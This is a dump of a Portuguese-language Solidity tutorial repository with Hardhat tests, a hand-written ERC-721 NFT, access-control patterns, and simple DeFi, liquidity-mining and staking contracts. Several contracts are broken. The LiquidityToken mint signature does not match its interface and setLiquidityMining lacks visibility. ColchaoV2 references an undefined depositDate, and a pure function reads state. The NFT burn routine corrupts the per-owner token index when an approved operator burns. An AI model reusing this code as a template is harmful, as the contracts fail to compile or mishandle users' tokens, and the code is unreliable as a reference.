expect(ownerOf).to.equal(otherAccount.address, "Can't transfer (approved)"); 182 | expect(approved).to.equal(otherAccount.address, "Can't approve"); 183 | }); 184 | 185 | it("Should emit approve event", async () => { 186 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 187 | 188 | await myNFT.mint(); 189 | 190 | const token = await myNFT.tokenByIndex(0); 191 | 192 | await expect(myNFT.approve(otherAccount.address, token)) 193 | .to.emit(myNFT, 'Approval') 194 | .withArgs(owner.address, otherAccount.address, token); 195 | }); 196 | 197 | it("Should clear approvals", async () => { 198 | const { myNFT, owner, otherAccount, oneMoreAccount } = await loadFixture(deployFixture); 199 | 200 | await myNFT.mint(); 201 | 202 | const token = await myNFT.tokenByIndex(0); 203 | await myNFT.approve(otherAccount.address, token); 204 | 205 | await myNFT.transferFrom(owner.address, oneMoreAccount.address, token); 206 | 207 | const ownerOf = await myNFT.ownerOf(token); 208 | const approved = await myNFT.getApproved(token); 209 | 210 | expect(ownerOf).to.equal(oneMoreAccount.address, "Can't transfer (approved)"); 211 | expect(approved).to.equal(ethers.ZeroAddress, "Can't approve"); 212 | }); 213 | 214 | it("Should transfer from (approve all)", async () => { 215 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 216 | 217 | await myNFT.mint(); 218 | 219 | const token = await myNFT.tokenByIndex(0); 220 | await myNFT.setApprovalForAll(otherAccount.address, true); 221 | 222 | const instance = myNFT.connect(otherAccount); 223 | await instance.transferFrom(owner.address, otherAccount.address, token); 224 | 225 | const ownerOf = await myNFT.ownerOf(token); 226 | const isApproved = await instance.isApprovedForAll(owner.address, otherAccount.address); 227 | 228 | expect(ownerOf).to.equal(otherAccount.address, "Can't transfer (approved all)"); 229 | expect(isApproved).to.equal(true, "Can't approve for all"); 230 | }); 231 | 232 | it("Should emit ApprovalForAll event", async () => { 233 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 234 | 235 | await myNFT.mint(); 236 | 237 | const token = await myNFT.tokenByIndex(0); 238 | 239 | await expect(myNFT.setApprovalForAll(otherAccount.address, true)) 240 | .to.emit(myNFT, 'ApprovalForAll') 241 | .withArgs(owner.address, otherAccount.address, true); 242 | }); 243 | 244 | it("Should NOT transfer from", async () => { 245 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 246 | 247 | await myNFT.mint(); 248 | 249 | const instance = myNFT.connect(otherAccount); 250 | const token = await instance.tokenByIndex(0); 251 | 252 | await expect(instance.transferFrom(owner.address, otherAccount.address, token)) 253 | .to.be.revertedWithCustomError(myNFT, "ERC721InsufficientApproval"); 254 | }); 255 | 256 | it("Should NOT transfer from (exists)", async () => { 257 | const { myNFT, owner, otherAccount } = await loadFixture(deployFixture); 258 | 259 | await expect(myNFT.transferFrom(owner.address, otherAccount.address, 1)) 260 | .to.be.revertedWithCustomError(myNFT, "ERC721NonexistentToken"); 261 | }); 262 | 263 | it("Should NOT transfer from (approve)", async () => { 264 | const { myNFT, owner, otherAccount, oneMoreAccount } = await loadFixture(deployFixture); 265 | 266 | await myNFT.mint(); 267 | const token = await myNFT.tokenByIndex(0); 268 | await myNFT.approve(oneMoreAccount.address, token); 269 | 270 | const instance = myNFT.connect(otherAccount); 271 | await expect(instance.transferFrom(owner.address, otherAccount.address, token)) 272 | .to.be.revertedWithCustomError(myNFT, "ERC721InsufficientApproval"); 273 | }); 274 | 275 | it("Should NOT transfer from (approve all)", async () => { 276 | const { myNFT, owner, otherAccount, oneMoreAccount } = await loadFixture(deployFixture); 277 | 278 | await myNFT.mint(); 279 | const token = await myNFT.tokenByIndex(0); 280 | await myNFT.setApprovalForAll(oneMoreAccount.address, true); 281 | 282 | const instance = myNFT.connect(otherAccount); 283 | await expect(instance.transferFrom(owner.address, otherAccount.address, token)) 284 | .to.be.revertedWithCustomError(myNFT, "ERC721InsufficientApproval"); 285 | }); 286 | 287 | it("Should support interface", async () => { 288 | const { myNFT } = await loadFixture(deployFixture); 289 | 290 | const supports = await myNFT.supportsInterface("0x80ac58cd"); 291 | expect(supports).to.equal(true, "Doesn't support interface"); 292 | }); 293 | }); -------------------------------------------------------------------------------- /nft-erc721-hardhat/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2020", 4 | "module": "commonjs", 5 | "esModuleInterop": true, 6 | "forceConsistentCasingInFileNames": true, 7 | "strict": true, 8 | "skipLibCheck": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /nft-erc721-remix/MyNFT.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol"; 5 | 6 | interface ERC165 { 7 | function supportsInterface(bytes4 interfaceID) external view returns (bool); 8 | } 9 | 10 | interface ERC721 { 11 | event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); 12 | 13 | event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); 14 | 15 | event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); 16 | 17 | function balanceOf(address owner) external view returns (uint balance); 18 | 19 | function ownerOf(uint tokenId) external view returns (address owner); 20 | 21 | function safeTransferFrom(address from, address to, uint tokenId) external payable; 22 | 23 | function safeTransferFrom( 24 | address from, 25 | address to, 26 | uint tokenId, 27 | bytes calldata data 28 | ) external payable; 29 | 30 | function transferFrom(address from, address to, uint tokenId) external payable; 31 | 32 | function approve(address to, uint tokenId) external; 33 | 34 | function getApproved(uint tokenId) external view returns (address operator); 35 | 36 | function setApprovalForAll(address operator, bool _approved) external; 37 | 38 | function isApprovedForAll( 39 | address owner, 40 | address operator 41 | ) external view returns (bool); 42 | } 43 | 44 | interface ERC721Receiver { 45 | function onERC721Received( 46 | address operator, 47 | address from, 48 | uint tokenId, 49 | bytes calldata data 50 | ) external returns (bytes4); 51 | } 52 | 53 | interface ERC721Metadata { 54 | function name() external view returns (string memory); 55 | 56 | function symbol() external view returns (string memory); 57 | 58 | function tokenURI(uint256 _tokenId) external view returns (string memory); 59 | } 60 | 61 | interface ERC721Enumerable { 62 | function totalSupply() external view returns (uint256); 63 | 64 | function tokenByIndex(uint256 _index) external view returns (uint256); 65 | 66 | function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256); 67 | } 68 | 69 | contract MyNFT is ERC721, ERC165, ERC721Metadata, ERC721Enumerable { 70 | 71 | mapping(uint => address) internal _ownerOf; //tokenId => owner 72 | 73 | mapping(address => uint) internal _balanceOf; //owner => number of tokens 74 | 75 | mapping(uint => address) internal _approvals; //tokenId => operator 76 | 77 | mapping(address => mapping(address => bool)) public isApprovedForAll; //owner => (operator => isApprovedForAll) 78 | 79 | function supportsInterface( 80 | bytes4 interfaceId 81 | ) external pure returns (bool) { 82 | return 83 | interfaceId == 0x80ac58cd || //ERC721 84 | interfaceId == 0x01ffc9a7 || //ERC165 85 | interfaceId == 0x5b5e139f || //ERC721Metadata 86 | interfaceId == 0x780e9d63;//ERC721Enumerable 87 | } 88 | 89 | function ownerOf(uint id) external view returns (address owner) { 90 | owner = _ownerOf[id]; 91 | require(owner != address(0), "token doesn't exist"); 92 | } 93 | 94 | function balanceOf(address owner) external view returns (uint) { 95 | require(owner != address(0), "owner = zero address"); 96 | return _balanceOf[owner]; 97 | } 98 | 99 | function setApprovalForAll(address operator, bool approved) external { 100 | isApprovedForAll[msg.sender][operator] = approved; 101 | emit ApprovalForAll(msg.sender, operator, approved); 102 | } 103 | 104 | function approve(address spender, uint id) external { 105 | address owner = _ownerOf[id]; 106 | require( 107 | msg.sender == owner || isApprovedForAll[owner][msg.sender], 108 | "not authorized" 109 | ); 110 | 111 | _approvals[id] = spender; 112 | 113 | emit Approval(owner, spender, id); 114 | } 115 | 116 | function getApproved(uint id) external view returns (address) { 117 | require(_ownerOf[id] != address(0), "token doesn't exist"); 118 | return _approvals[id]; 119 | } 120 | 121 | function _isApprovedOrOwner( 122 | address owner, 123 | address spender, 124 | uint id 125 | ) internal view returns (bool) { 126 | return (spender == owner || 127 | isApprovedForAll[owner][spender] || 128 | spender == _approvals[id]); 129 | } 130 | 131 | function _transferFrom(address from, address to, uint id) internal { 132 | require(from == _ownerOf[id], "from != owner"); 133 | require(to != address(0), "transfer to zero address"); 134 | 135 | require(_isApprovedOrOwner(from, msg.sender, id), "not authorized"); 136 | 137 | _balanceOf[from]--; 138 | _balanceOf[to]++; 139 | _ownerOf[id] = to; 140 | 141 | delete _approvals[id]; 142 | 143 | emit Transfer(from, to, id); 144 | emit Approval(from, address(0), id); 145 | } 146 | 147 | function transferFrom(address from, address to, uint id) external payable { 148 | _transferFrom(from, to, id); 149 | } 150 | 151 | function safeTransferFrom(address from, address to, uint id) external payable { 152 | _transferFrom(from, to, id); 153 | 154 | require( 155 | to.code.length == 0 || 156 | ERC721Receiver(to).onERC721Received( 157 | msg.sender, 158 | from, 159 | id, 160 | "" 161 | ) == 162 | ERC721Receiver.onERC721Received.selector, 163 | "unsafe recipient" 164 | ); 165 | } 166 | 167 | function safeTransferFrom( 168 | address from, 169 | address to, 170 | uint id, 171 | bytes calldata data 172 | ) external payable { 173 | _transferFrom(from, to, id); 174 | 175 | require( 176 | to.code.length == 0 || 177 | ERC721Receiver(to).onERC721Received( 178 | msg.sender, 179 | from, 180 | id, 181 | data 182 | ) == 183 | ERC721Receiver.onERC721Received.selector, 184 | "unsafe recipient" 185 | ); 186 | } 187 | 188 | uint internal _lastId; 189 | 190 | function mint() public { 191 | _lastId += 1; 192 | _balanceOf[msg.sender]++; 193 | _ownerOf[_lastId] = msg.sender; 194 | 195 | _uris[_lastId] = string.concat( 196 | "https://www.luiztools.com.br/nfts/", 197 | Strings.toString(_lastId), 198 | ".json" 199 | ); 200 | 201 | _allTokens.push(_lastId); 202 | _allTokensIndex[_lastId] = _allTokens.length - 1; 203 | _ownedTokens[msg.sender][_balanceOf[msg.sender] - 1] = _lastId; 204 | _ownedTokensIndex[_lastId] = _balanceOf[msg.sender] - 1; 205 | 206 | emit Transfer(address(0), msg.sender, _lastId); 207 | } 208 | 209 | function burn(uint tokenId) public { 210 | address lastOwner = _ownerOf[tokenId]; 211 | require(lastOwner != address(0), "Not minted"); 212 | require( 213 | _isApprovedOrOwner(lastOwner, msg.sender, tokenId), 214 | "Not permitted" 215 | ); 216 | 217 | _balanceOf[lastOwner]--; 218 | _ownerOf[tokenId] = address(0); 219 | delete _uris[tokenId]; 220 | delete _approvals[tokenId]; 221 | 222 | //descobre qual index global deve ser removido 223 | uint removedIndex = _allTokensIndex[tokenId]; 224 | //copia o último elemento pra posição excluída 225 | _allTokens[removedIndex] = _allTokens[_allTokens.length - 1]; 226 | //remove a cópia do final do array, simulando movimentação 227 | _allTokens.pop(); 228 | //remove do índice de tokens 229 | delete _allTokensIndex[tokenId]; 230 | 231 | //descobre qual owner index deve ser removido 232 | uint removedOwnerIndex = _ownedTokensIndex[tokenId]; 233 | //sobrescreve o mapping de tokens do owner com cópia do último (balance porque já foi decrementado) 234 | _ownedTokens[msg.sender][removedOwnerIndex] = _ownedTokens[msg.sender][_balanceOf[msg.sender]]; 235 | //exclui o último que está duplicado (balance porque já foi decrementado) 236 | delete _ownedTokens[msg.sender][_balanceOf[msg.sender]]; 237 | //exclui do índice de tokens por owner 238 | delete _ownedTokensIndex[tokenId]; 239 | 240 | emit Transfer(lastOwner, address(0), tokenId); 241 | emit Approval(lastOwner, address(0), tokenId); 242 | } 243 | 244 | function name() external pure returns (string memory) { 245 | return "MyNFT Collection"; 246 | } 247 | 248 | function symbol() external pure returns (string memory) { 249 | return "MFC"; 250 | } 251 | 252 | mapping(uint => string) internal _uris; 253 | 254 | function tokenURI(uint256 _tokenId) external view returns (string memory) { 255 | require(_ownerOf[_tokenId] != address(0), "Not minted"); 256 | return _uris[_tokenId]; 257 | } 258 | 259 | mapping(address => mapping(uint256 => uint256)) private _ownedTokens;//owner => (owner index => tokenId) 260 | 261 | mapping(uint256 => uint256) private _ownedTokensIndex;//tokenId => owner index 262 | 263 | uint256[] private _allTokens; 264 | 265 | mapping(uint256 => uint256) private _allTokensIndex;//tokenId => global idnex 266 | 267 | function totalSupply() external view returns (uint256) { 268 | return _allTokens.length; 269 | } 270 | 271 | function tokenByIndex(uint256 _index) external view returns (uint256){ 272 | require(_index < _allTokens.length, "Global index out of bounds"); 273 | return _allTokens[_index]; 274 | } 275 | 276 | function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256){ 277 | require(_index < _balanceOf[_owner], "Owner index out of bounds"); 278 | return _ownedTokens[_owner][_index]; 279 | } 280 | } 281 | -------------------------------------------------------------------------------- /nft-erc721-remix/README.md: -------------------------------------------------------------------------------- 1 | # NFT ERC-721 Remix 2 | A simple ERC-721 implementation for NFT contracts. 3 | 4 | ## Mais Informações 5 | 6 | Leia o tutorial em: https://www.luiztools.com.br/post/tutorial-de-smart-contract-erc-721-nft-com-solidity/ 7 | 8 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 9 | 10 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 11 | 12 | Me siga nas redes sociais: https://about.me/luiztools 13 | 14 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /ownable-accesscontrol-patterns/AccessControlContract.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | abstract contract AcessControl { 5 | enum Role { 6 | NONE, 7 | OWNER, 8 | MANAGER, 9 | CUSTOMER 10 | } 11 | 12 | mapping(address => Role) private _roles; 13 | 14 | constructor(){ 15 | _roles[msg.sender] = Role.OWNER; 16 | } 17 | 18 | modifier onlyRole(Role role) { 19 | require(_roles[msg.sender] == role, "You do not have permission"); 20 | _; 21 | } 22 | 23 | function setRole(Role role, address account) public onlyRole(Role.OWNER) { 24 | if (_roles[account] != role) { 25 | _roles[account] = role; 26 | } 27 | } 28 | } 29 | 30 | contract AcessControlContract is AcessControl { 31 | string internal message = "Hello World!"; 32 | 33 | function getMessage() public view returns (string memory) { 34 | return message; 35 | } 36 | 37 | function setMessage(string calldata newMessage) external onlyRole(Role.MANAGER) { 38 | message = newMessage; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /ownable-accesscontrol-patterns/OwnableContract.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | abstract contract Ownable { 5 | address private _owner; 6 | 7 | constructor() { 8 | _owner = msg.sender; 9 | } 10 | 11 | function transferOwnership(address newOwner) public onlyOwner { 12 | _owner = newOwner; 13 | } 14 | 15 | modifier onlyOwner() { 16 | require(_owner == msg.sender, "You do not have permission"); 17 | _; 18 | } 19 | } 20 | 21 | contract OwnableContract is Ownable { 22 | string internal message = "Hello World!"; 23 | 24 | function getMessage() public view returns (string memory) { 25 | return message; 26 | } 27 | 28 | function setMessage(string calldata newMessage) external onlyOwner { 29 | message = newMessage; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /ownable-accesscontrol-patterns/README.md: -------------------------------------------------------------------------------- 1 | # ownable-accesscontrol-patterns 2 | A simple ownable and access control patterns implementations for contracts with administrative functions. 3 | 4 | ## Mais Informações 5 | 6 | Leia o tutorial em: https://www.luiztools.com.br/post/controles-de-acesso-em-smart-contracts-com-solidity/ 7 | 8 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 9 | 10 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 11 | 12 | Me siga nas redes sociais: https://about.me/luiztools 13 | 14 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /ownable-accesscontrol-patterns/RawContract.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | contract RawContract { 5 | string internal message = "Hello World!"; 6 | 7 | function getMessage() public view returns (string memory) { 8 | return message; 9 | } 10 | 11 | function setMessage(string calldata newMessage) external { 12 | message = newMessage; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /protocolo-defi-remix/Carteira.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.18; 4 | 5 | contract Carteira { 6 | mapping(address => uint) public balances; //user => balance 7 | 8 | constructor() {} 9 | 10 | function deposit() external payable { 11 | balances[msg.sender] += msg.value; 12 | } 13 | 14 | function withdraw(uint amount) external { 15 | require(balances[msg.sender] >= amount, "Insufficient funds"); 16 | balances[msg.sender] -= amount; 17 | payable(msg.sender).transfer(amount); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /protocolo-defi-remix/Colchao.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.17; 4 | 5 | import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; 6 | 7 | contract Colchao { 8 | 9 | IERC20 public token; 10 | mapping(address => uint) public balances;//user => balance 11 | 12 | constructor(address tokenAddress){ 13 | token = IERC20(tokenAddress); 14 | } 15 | 16 | function deposit(uint amount) external { 17 | token.transferFrom(msg.sender, address(this), amount); 18 | balances[msg.sender] += amount; 19 | } 20 | 21 | function withdraw(uint amount) external { 22 | require(balances[msg.sender] >= amount, "Insufficient funds"); 23 | balances[msg.sender] -= amount; 24 | token.transfer(msg.sender, amount); 25 | } 26 | 27 | } -------------------------------------------------------------------------------- /protocolo-defi-remix/README.md: -------------------------------------------------------------------------------- 1 | # protocolo-defi-remix 2 | 3 | A simple DeFi protocol written in Solidity based on ERC-20 spec and OpenZeppelin contracts. 4 | 5 | ## Referências 6 | 7 | Tutorial em: https://www.luiztools.com.br/post/como-criar-um-protocolo-defi-em-solidity/ 8 | 9 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 10 | 11 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 12 | 13 | Me siga nas redes sociais: https://about.me/luiztools 14 | 15 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /protocolo-liquidity-mining-remix/ILPToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.17; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 6 | 7 | interface ILPToken is IERC20 { 8 | function mint(uint amount, address receiver) external; 9 | } -------------------------------------------------------------------------------- /protocolo-liquidity-mining-remix/LiquidityMining.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.17; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 6 | import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; 7 | import "./ILPToken.sol"; 8 | 9 | contract LiquidityMining is ReentrancyGuard { 10 | IERC20 public token; 11 | ILPToken public reward; 12 | 13 | mapping(address => uint) public balances; //user => balance 14 | mapping(address => uint) public checkpoints; //user => deposit block number 15 | 16 | uint public rewardPerBlock = 1; 17 | 18 | constructor(address tokenAddress, address rewardAddress) { 19 | token = IERC20(tokenAddress); 20 | reward = ILPToken(rewardAddress); 21 | } 22 | 23 | function rewardPayment(uint balance) internal { 24 | uint difference = block.number - checkpoints[msg.sender]; 25 | if (difference > 0) { 26 | reward.mint(balance * difference * rewardPerBlock, msg.sender); 27 | checkpoints[msg.sender] = block.number; 28 | } 29 | } 30 | 31 | function deposit(uint amount) external nonReentrant { 32 | token.transferFrom(msg.sender, address(this), amount); 33 | uint originalBalance = balances[msg.sender]; //necessário para recompensas 34 | balances[msg.sender] += amount; 35 | 36 | if (checkpoints[msg.sender] == 0) { 37 | checkpoints[msg.sender] = block.number; 38 | } else rewardPayment(originalBalance); //paga o que deve a ele até aqui 39 | } 40 | 41 | function withdraw(uint amount) external nonReentrant { 42 | require(balances[msg.sender] >= amount, "Insufficient funds"); 43 | uint originalBalance = balances[msg.sender]; //necessário para recompensas 44 | balances[msg.sender] -= amount; 45 | token.transfer(msg.sender, amount); 46 | rewardPayment(originalBalance); //paga as últimas recompensas devidas 47 | } 48 | 49 | function calculateRewards() external view returns (uint) { 50 | uint difference = block.number - checkpoints[msg.sender]; 51 | return balances[msg.sender] * difference * rewardPerBlock; 52 | } 53 | 54 | function liquidityPool() external pure returns (uint) { 55 | return token.balanceOf(address(this)); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /protocolo-liquidity-mining-remix/LiquidityToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.17; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 6 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 7 | import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; 8 | import "./ILPToken.sol"; 9 | 10 | contract LiquidityToken is ILPToken, ERC20 { 11 | 12 | address immutable owner; 13 | address public liquidityMining; 14 | 15 | constructor() ERC20("LiquidityToken", "LQT") { 16 | owner = msg.sender; 17 | } 18 | 19 | function setLiquidityMining(address _liquidityMining){ 20 | require(msg.sender == owner, "Unauthorized"); 21 | liquidityMining = _liquidityMining; 22 | } 23 | 24 | 25 | function mint(address receiver, uint amount) external{ 26 | require(msg.sender == owner || msg.sender == liquidityMining, "Unauthorized"); 27 | _mint(receiver, amount); 28 | } 29 | } -------------------------------------------------------------------------------- /protocolo-liquidity-mining-remix/README.md: -------------------------------------------------------------------------------- 1 | # protocolo-liquidity-mining-remix 2 | 3 | A simple Liquidity Mining protocol written in Solidity based on ERC-20 spec and OpenZeppelin contracts. 4 | 5 | ## Referências 6 | 7 | Tutorial em: https://www.luiztools.com.br/post/tutorial-de-smart-contract-para-liquidity-mining-em-solidity/ 8 | 9 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 10 | 11 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 12 | 13 | Me siga nas redes sociais: https://about.me/luiztools 14 | 15 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /protocolo-staking-remix/ColchaoV2.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.18; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 6 | import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; 7 | import "./ILPToken.sol"; 8 | 9 | contract ColchaoV2 is ReentrancyGuard { 10 | IERC20 public token; 11 | ILPToken public lpToken; 12 | 13 | mapping(address => uint) public checkpoints; //user => deposit date 14 | 15 | uint public rewardPerPeriod = 1; 16 | uint public duration = 30 * 24 * 60 * 60; //30 dias 17 | 18 | constructor(address tokenAddress, address lpTokenAddress) { 19 | token = IERC20(tokenAddress); 20 | lpToken = ILPToken(lpTokenAddress); 21 | } 22 | 23 | function rewardPayment(uint depositAmount) internal { 24 | uint rewards = calculateRewards(); 25 | if (rewards > 0 || depositAmount > 0) 26 | lpToken.mint(msg.sender, rewards + depositAmount); 27 | 28 | checkpoints[msg.sender] = block.timestamp; 29 | } 30 | 31 | function deposit(uint amount) external nonReentrant { 32 | token.transferFrom(msg.sender, address(this), amount); 33 | 34 | if (checkpoints[msg.sender] == 0) { 35 | checkpoints[msg.sender] = block.timestamp; 36 | lpToken.mint(msg.sender, amount); //emite os tokens de garantia 37 | } else rewardPayment(amount); //paga o que deve a ele até aqui em recompensas + o novo depósito 38 | } 39 | 40 | function canWithdraw() public view returns (bool) { 41 | return block.timestamp >= depositDate[msg.sender] + duration; 42 | } 43 | 44 | function withdraw(uint amount) external nonReentrant { 45 | require(canWithdraw(), "Locked funds"); 46 | require(lpToken.balanceOf(msg.sender) >= amount, "Insufficient funds"); 47 | 48 | rewardPayment(0); //paga as últimas recompensas devidas, faz antes das demais funções para ter o saldo original 49 | 50 | lpToken.burn(msg.sender, amount); 51 | token.transfer(msg.sender, amount); 52 | } 53 | 54 | function calculateRewards() public view returns (uint) { 55 | uint months = (block.timestamp - checkpoints[msg.sender]) / duration; 56 | return (lpToken.balanceOf(msg.sender) / 100) * months * rewardPerPeriod; 57 | } 58 | 59 | function liquidityPool() external view returns (uint) { 60 | return token.balanceOf(address(this)); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /protocolo-staking-remix/ILPToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.18; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 6 | 7 | interface ILPToken is IERC20 { 8 | function mint(address receiver, uint amount) external; 9 | function burn(address from, uint amount) external; 10 | } -------------------------------------------------------------------------------- /protocolo-staking-remix/LiquidityProviderToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.18; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; 7 | import "@openzeppelin/contracts/access/Ownable.sol"; 8 | import "./ILPToken.sol"; 9 | 10 | contract LiquidityProviderToken is ILPToken, ERC20, ERC20Burnable, Ownable { 11 | address public protocolContract; 12 | 13 | constructor() ERC20("LiquidityProviderToken", "LPT") { } 14 | 15 | function setProtocol(address _protocolContract) public { 16 | require(msg.sender == owner(), "Unauthorized"); 17 | protocolContract = _protocolContract; 18 | } 19 | 20 | function mint(address receiver, uint amount) external { 21 | require( 22 | msg.sender == owner() || msg.sender == protocolContract, 23 | "Unauthorized" 24 | ); 25 | _mint(receiver, amount); 26 | } 27 | 28 | function burn(address from, uint amount) external { 29 | require( 30 | msg.sender == owner() || msg.sender == protocolContract, 31 | "Unauthorized" 32 | ); 33 | _burn(from, amount); 34 | } 35 | } -------------------------------------------------------------------------------- /protocolo-staking-remix/README.md: -------------------------------------------------------------------------------- 1 | # protocolo-staking-remix 2 | 3 | A simple staking protocol written in Solidity based on ERC-20 spec and OpenZeppelin contracts. 4 | 5 | ## Referências 6 | 7 | Tutorial em: https://www.luiztools.com.br/post/tutorial-de-smart-contract-para-staking-em-solidity/ 8 | 9 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 10 | 11 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 12 | 13 | Me siga nas redes sociais: https://about.me/luiztools 14 | 15 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /proxy-pattern-hardhat/.env.example: -------------------------------------------------------------------------------- 1 | # Your 12-word mnemonic phrase (MetaMask) 2 | SECRET= 3 | 4 | # Your EtherScan API Key 5 | API_KEY= 6 | 7 | # Your blockchain node RPC Server URL 8 | RPC_URL= 9 | 10 | # Your blockchain chain id 11 | CHAIN_ID= -------------------------------------------------------------------------------- /proxy-pattern-hardhat/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | typechain-types 7 | 8 | # Hardhat files 9 | cache 10 | artifacts 11 | .openzeppelin 12 | -------------------------------------------------------------------------------- /proxy-pattern-hardhat/.openzeppelin/polygon-mumbai.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifestVersion": "3.2", 3 | "admin": { 4 | "address": "0x0BCa6ecb84a1F6F55A2Fa45C7cb747e5197d5Ced", 5 | "txHash": "0x3c8b6d49b7f6a46616fb811aa2a26f527bdf5afcbf02183c641d9af060f48e96" 6 | }, 7 | "proxies": [ 8 | { 9 | "address": "0x6AbD403AA0DBBbDdE8e994745B7ca29e206aFe3e", 10 | "txHash": "0x3e634ce6b15037d22d82de0e007cba898272deb3ab2d594461b888c6f57e77f0", 11 | "kind": "transparent" 12 | } 13 | ], 14 | "impls": { 15 | "43ebcf627e0b3770ebdedb50b25d013e61ffed1fcdd252deca1560690d1f0960": { 16 | "address": "0x28DBfa2fBc935c8fd0D6Ae29A747ef2735b1d781", 17 | "txHash": "0xc6c68a28f9c53bc111b3c64e87a60ef5ab94c8e2056eec46ea2e16c5afe1c6bf", 18 | "layout": { 19 | "solcVersion": "0.8.18", 20 | "storage": [ 21 | { 22 | "label": "_initialized", 23 | "offset": 0, 24 | "slot": "0", 25 | "type": "t_uint8", 26 | "contract": "Initializable", 27 | "src": "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol:62", 28 | "retypedFrom": "bool" 29 | }, 30 | { 31 | "label": "_initializing", 32 | "offset": 1, 33 | "slot": "0", 34 | "type": "t_bool", 35 | "contract": "Initializable", 36 | "src": "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol:67" 37 | }, 38 | { 39 | "label": "__gap", 40 | "offset": 0, 41 | "slot": "1", 42 | "type": "t_array(t_uint256)50_storage", 43 | "contract": "ContextUpgradeable", 44 | "src": "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol:36" 45 | }, 46 | { 47 | "label": "_owner", 48 | "offset": 0, 49 | "slot": "51", 50 | "type": "t_address", 51 | "contract": "OwnableUpgradeable", 52 | "src": "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol:22" 53 | }, 54 | { 55 | "label": "__gap", 56 | "offset": 0, 57 | "slot": "52", 58 | "type": "t_array(t_uint256)49_storage", 59 | "contract": "OwnableUpgradeable", 60 | "src": "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol:94" 61 | }, 62 | { 63 | "label": "message", 64 | "offset": 0, 65 | "slot": "101", 66 | "type": "t_string_storage", 67 | "contract": "Contrato", 68 | "src": "contracts/Contrato.sol:11" 69 | } 70 | ], 71 | "types": { 72 | "t_address": { 73 | "label": "address", 74 | "numberOfBytes": "20" 75 | }, 76 | "t_array(t_uint256)49_storage": { 77 | 